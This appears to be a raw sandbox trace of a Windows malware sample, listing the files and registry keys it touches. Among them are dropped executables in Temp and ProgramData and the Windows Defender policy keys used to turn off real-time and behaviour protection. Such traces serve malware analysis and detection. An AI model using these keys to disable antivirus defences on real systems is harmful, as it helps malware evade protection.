C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF185d938.TMP
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\PO8FSL294B4483IFZ7K3.temp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF185dd4d.TMP
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\RS26A0XKNJQ7NHHYCY4A.temp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF185dfad.TMP
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\MW5S8P2ZY0F96LTS7CCQ.temp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF185df40.TMP
C:\Windows\sysnative\data\
C:\Windows\Temp
C:\Users\user\AppData\Local\Temp\FGY56.exe
C:\ProgramData\\xd0\x9e\xd0\x9b\xd0\xba\xd0\x90\xd0\xb5\xd1\x81\xd0\xbc\xd0\xab\xd1\x84\xd1\x86.exe
C:\Users\user\AppData\Roaming\Microsoft
C:\Users\user\AppData\Roaming\Microsoft\Crypto
C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA
C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-120665959-548228820-2376508522-1001
C:\Windows\Globalization\Sorting\sortdefault.nls
C:\
C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.1.db
C:\Users\desktop.ini
C:\Users
C:\Users\user
C:\Users\user\AppData
C:\Users\user\AppData\Roaming
C:\Users\user\AppData\Roaming\Microsoft\desktop.ini
C:\Users\user\AppData\Roaming\Microsoft\Windows
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini
C:\Users\user\Desktop\desktop.ini
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\desktop.ini
C:\ProgramData
C:\ProgramData\Microsoft\desktop.ini
C:\ProgramData\Microsoft
C:\ProgramData\Microsoft\Windows
C:\ProgramData\Microsoft\Windows\Start Menu\desktop.ini
C:\ProgramData\Microsoft\Windows\Start Menu
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\desktop.ini
C:\Users\Public\desktop.ini
C:\Users\Public
C:\Users\Public\Desktop\desktop.ini
C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer
C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini
C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
C:\Users\user\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
C:\Windows\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk\desktop.ini
C:\ProgramData\Microsoft\Windows\Start Menu\Programs
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Desktop.ini
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\desktop.ini
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell
\??\PIPE\srvsvc
C:\Windows
C:\Windows\sysnative
C:\Windows\sysnative\WindowsPowerShell
C:\Windows\sysnative\WindowsPowerShell\v1.0
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\PNRC2BYVZB8CS6ZSKTE2.temp
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll
C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe.config
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorwks.dll
C:\Windows\winsxs\amd64_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_88df89932faf0bf6\msvcr80.dll
C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000d.db
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\1E26EKS5IPSFOESNL930.temp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\B8OEM69UENG4HGBVVQ7R.temp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\TT3E3RT2NYJ67V4GD3YY.temp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\DC3ALVBRLQMLP4TZFP79.temp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\8CT7KWXU9XMKH99I7EKO.temp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\UGBSY238RMQMYQ4LVNUX.temp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\PO8FSL294B4483IFZ7K3.temp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\RS26A0XKNJQ7NHHYCY4A.temp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\MW5S8P2ZY0F96LTS7CCQ.temp
C:\ProgramData\\xd0\x9e\xd0\x9b\xd0\xba\xd0\x90\xd0\xb5\xd1\x81\xd0\xbc\xd0\xab\xd1\x84\xd1\x86.exe
C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-120665959-548228820-2376508522-1001\f58155b4b1d5a524ca0261c3ee99fb50_fb20aa52-1ec9-4d1f-b923-f6709499e604
C:\Users\user\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk
\??\PIPE\srvsvc
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\PNRC2BYVZB8CS6ZSKTE2.temp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\1E26EKS5IPSFOESNL930.temp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF185cbfe.TMP
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\B8OEM69UENG4HGBVVQ7R.temp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF185d513.TMP
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\TT3E3RT2NYJ67V4GD3YY.temp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF185d976.TMP
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\DC3ALVBRLQMLP4TZFP79.temp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF185d3bc.TMP
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\8CT7KWXU9XMKH99I7EKO.temp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF185d83e.TMP
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\UGBSY238RMQMYQ4LVNUX.temp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF185d938.TMP
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\PO8FSL294B4483IFZ7K3.temp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF185dd4d.TMP
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\RS26A0XKNJQ7NHHYCY4A.temp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF185dfad.TMP
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\MW5S8P2ZY0F96LTS7CCQ.temp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF185df40.TMP
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\PNRC2BYVZB8CS6ZSKTE2.temp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF185cbfe.TMP
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF185d513.TMP
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF185d976.TMP
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF185d3bc.TMP
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF185d83e.TMP
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF185d938.TMP
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF185dd4d.TMP
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF185dfad.TMP
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF185df40.TMP
DisableUserModeCallbackFilter
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\CustomLocale
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\CustomLocale\en-GB
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\ExtendedLocale
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\ExtendedLocale\en-GB
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Applications\FGY56.exe
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{3abfb8f2-2ffd-11e7-a4cf-806e6f6e6963}\
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{3abfb8f2-2ffd-11e7-a4cf-806e6f6e6963}\Data
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{3abfb8f2-2ffd-11e7-a4cf-806e6f6e6963}\Generation
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{5e1375cc-b5ba-11e3-a2f5-806e6f6e6963}\
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{5e1375cc-b5ba-11e3-a2f5-806e6f6e6963}\Data
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{5e1375cc-b5ba-11e3-a2f5-806e6f6e6963}\Generation
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{5e1375cd-b5ba-11e3-a2f5-806e6f6e6963}\
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{5e1375cd-b5ba-11e3-a2f5-806e6f6e6963}\Data
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\CPC\Volume\{5e1375cd-b5ba-11e3-a2f5-806e6f6e6963}\Generation
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\GRE_Initialize
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\GRE_Initialize\DisableMetaFiles
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Windows Error Reporting\WMR
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\Windows Error Reporting\WMR\Disable
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-120665959-548228820-2376508522-1001
HKEY_USERS\S-1-5-21-120665959-548228820-2376508522-1001
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-120665959-548228820-2376508522-1001\State
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-120665959-548228820-2376508522-1001\Preference
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-120665959-548228820-2376508522-1001\ProfileImagePath
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Applications\??????????.exe
HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System
HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor\DisableUNCCheck
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor\EnableExtensions
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor\DelayedExpansion
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor\DefaultColor
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor\CompletionChar
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor\PathCompletionChar
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor\AutoRun
HKEY_CURRENT_USER\Software\Microsoft\Command Processor
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\DisableUNCCheck
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\EnableExtensions
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\DelayedExpansion
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\DefaultColor
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\CompletionChar
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\PathCompletionChar
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\AutoRun
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\Locale
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\Locale\Alternate Sorts
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Nls\Language Groups
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Locale\00000809
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Nls\Language Groups\1
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Windows Error Reporting\WMR\Disable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\OLEAUT
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoPropertiesMyComputer
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoPropertiesRecycleBin
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoControlPanel
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFolders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoInternetIcon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Applications\powershell.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoCommonGroups
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage2
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage2\ProgramsCache
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\Category
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\Name
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\ParentFolder
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\Description
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\RelativePath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\ParsingName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\InfoTip
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\LocalizedName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\Icon
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\Security
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\StreamResource
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\StreamResourceType
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\LocalRedirectOnly
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\Roamable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\PreCreate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\Stream
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\PublishExpandedPath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\Attributes
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\FolderTypeID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\InitFolderHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{625B53C3-AB48-4EC1-BA1F-A1EF4146FC19}\PropertyBag
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\SessionInfo\1
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\SessionInfo\1\KnownFolders
HKEY_CURRENT_USER
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Start Menu
HKEY_CLASSES_ROOT\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\Attributes
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\CallForAttributes
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\RestrictedAttributes
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\WantsFORDISPLAY
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\HideFolderVerbs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\UseDropHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\WantsFORPARSING
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\WantsParseDisplayName
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\QueryForOverlay
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\MapNetDriveVerbs
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\QueryForInfoTip
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\HideInWebView
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\HideOnDesktopPerUser
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\WantsAliasedNotifications
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\WantsUniversalDelegate
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\NoFileFolderJunction
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\PinToNameSpaceTree
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder\HasNavigationEnum
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\ShellFolder
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\NonEnum
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\NonEnum\{20D04FE0-3AEA-1069-A2D8-08002B30309D}
HKEY_CLASSES_ROOT\Drive\shellex\FolderExtensions
HKEY_CLASSES_ROOT\Drive\shellex\FolderExtensions\{fbeb8a05-beee-4442-804e-409d6c4515e9}
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Drive\shellex\FolderExtensions\{fbeb8a05-beee-4442-804e-409d6c4515e9}\DriveMask
HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Explorer
HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Explorer
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\LSA\AccessProviders
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Lsa\AccessProviders\MartaExtension
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\DontShowSuperHidden
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellState
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoWebView
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\ClassicShell
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\SeparateProcess
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoNetCrawling
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSimpleStartMenu
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowCompColor
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\DontPrettyPath
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowInfoTip
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideIcons
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\MapNetDrvBtn
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\WebView
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Filter
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\SeparateProcess
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\NoNetCrawling
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\AutoCheckSelect
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\IconsOnly
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowTypeOverlay
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Shell\RegisteredApplications\UrlAssociations\Directory\OpenWithProgids
HKEY_CURRENT_USER\Software\Microsoft\Windows\Shell\Associations\UrlAssociations\Directory
HKEY_CLASSES_ROOT\Directory
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\CurVer
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\ShellEx\IconHandler
HKEY_CLASSES_ROOT\Folder
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Folder\ShellEx\IconHandler
HKEY_CLASSES_ROOT\AllFilesystemObjects
